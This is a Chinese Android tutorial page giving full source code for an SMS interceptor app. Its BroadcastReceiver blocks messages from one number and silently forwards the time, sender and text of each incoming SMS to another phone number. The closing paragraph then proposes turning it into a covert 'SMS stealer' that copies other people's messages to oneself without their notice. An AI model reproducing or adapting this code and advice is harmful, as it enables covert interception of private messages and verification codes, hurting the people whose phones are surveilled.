Android开发实例:短信拦截器的代码
下面是网友vnplalvyulin 为178折社区写的一个Android短信拦截器代码,在这个拦截器中,一共通过两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。
下面我附上自己做的这个拦截器的代码供大家参考。
main.xml layout
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<Button
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="注册拦截"
android:onClick="regiset"
/>
<Button
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="解注册拦截"
android:onClick="unregiset"
/>
</LinearLayout>
首页显示的SmsListenerActivity:
package com.tk178zhe.android.SmsListener;
import android.app.Activity;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;
public class SmsListenerActivity extends Activity {
private SmsRecevier recevier;
private boolean isregiset = false;
private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
recevier = new SmsRecevier();
}
public void regiset(View v) {
IntentFilter filter = new IntentFilter(ACTION);
filter.setPriority(1000);//设置优先级最大
registerReceiver(recevier, filter);
isregiset = true;
Toast.makeText(this, "注册成功", 0).show();
}
public void unregiset(View v) {
if (recevier != null && isregiset) {
unregisterReceiver(recevier);
isregiset = false;
Toast.makeText(this, "解注册成功", 0).show();
} else
Toast.makeText(this, "尚未注册", 0).show();
}
@Override
protected void onDestroy() {
super.onDestroy();
if (recevier != null && isregiset) {
unregisterReceiver(recevier);
isregiset = false;
Toast.makeText(this, "解注册成功", 0).show();
}
}
}
如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。
AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.tk178zhe.android.SmsListener"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="8" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".SmsListenerActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做
<receiver android:name=".SmsRecevier">
<intent-filter android:priority="1000"> 将优先级设到最大
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
-->
</application>
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
</manifest>
SmsRecevier类用作拦截信息。
package com.tk178zhe.android.android;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class SmsRecevier extends BroadcastReceiver {
public SmsRecevier() {
Log.v("TAG", "SmsRecevier create");
}
@Override
public void onReceive(Context context, Intent intent) {
Log.v("TAG", "SmsRecevier onReceive");
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for (SmsMessage message : messages) {
String content = message.getMessageBody();// 得到短信内容
String sender = message.getOriginatingAddress();// 得到发信息的号码
if (sender.equals("110")) {
abortBroadcast();// 中止发送
Log.e("TAG", "此号码为黑名单号码,已拦截!");
}
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String sendContent = format.format(date) + ":" + sender + "--"
+ content;
SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
smsManager.sendTextMessage("", null, sendContent, null,
null);// 转发给
Log.v("TAG", sendContent);
}
}
}
}
这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了
文章导读
游戏推荐
- 热门
- 最新
会说话的狗狗本 Talking Be 会说话的狗狗本是会说话系列中的一款,知名度应该是仅次于会...
查看详情
弗拉特潜水 Flutty Diver vFlutty Diver(弗拉特潜水)是一款非常可爱的益智游戏,这是安卓...
查看详情
太空披萨 Space Pizza DeliSpace Pizza Delivery(太空披萨)是一款较为简单的跳跃类的小...
查看详情
人类:历史 Person: The HisPerson: The History(人类:历史)是一款画面非常单调的游戏,灰...
查看详情
会说话的狗狗本 Talking Be 会说话的狗狗本是会说话系列中的一款,知名度应该是仅次于会...
查看详情
弗拉特潜水 Flutty Diver vFlutty Diver(弗拉特潜水)是一款非常可爱的益智游戏,这是安卓...
查看详情
太空披萨 Space Pizza DeliSpace Pizza Delivery(太空披萨)是一款较为简单的跳跃类的小...
查看详情
人类:历史 Person: The HisPerson: The History(人类:历史)是一款画面非常单调的游戏,灰...
查看详情
软件推荐
- 热门
- 最新
海豚浏览器 v8.0今天,国产手机浏览器知名品牌海豚浏览器发布了它的一个最新...
查看详情
应用魔方 AppShare v2.4.3AppShare(应用魔方)是一款比较具有人气的安卓手机应用,它能够...
查看详情
超频软件 Voltage Control Voltage Control Extreme是安卓平台一款非常受欢迎的CPU超...
查看详情
音频管理器 AudioManager P音频管理器 (AudioManager Pro)的功能不错,能够方便你控制安卓...
查看详情
土司 v1.0土司是一款在线交流与分享软件,能够让你DIY自己的手机社区,你...
查看详情
海豚浏览器 v8.0今天,国产手机浏览器知名品牌海豚浏览器发布了它的一个最新...
查看详情
迈播 v2.0.1.0215迈播是由迈视网(www.maxtv.cn)开发的一款免费的手机视频应用,...
查看详情
应用魔方 AppShare v2.4.3AppShare(应用魔方)是一款比较具有人气的安卓手机应用,它能够...
查看详情
推荐文章
- 新闻
- 评测
- 教程

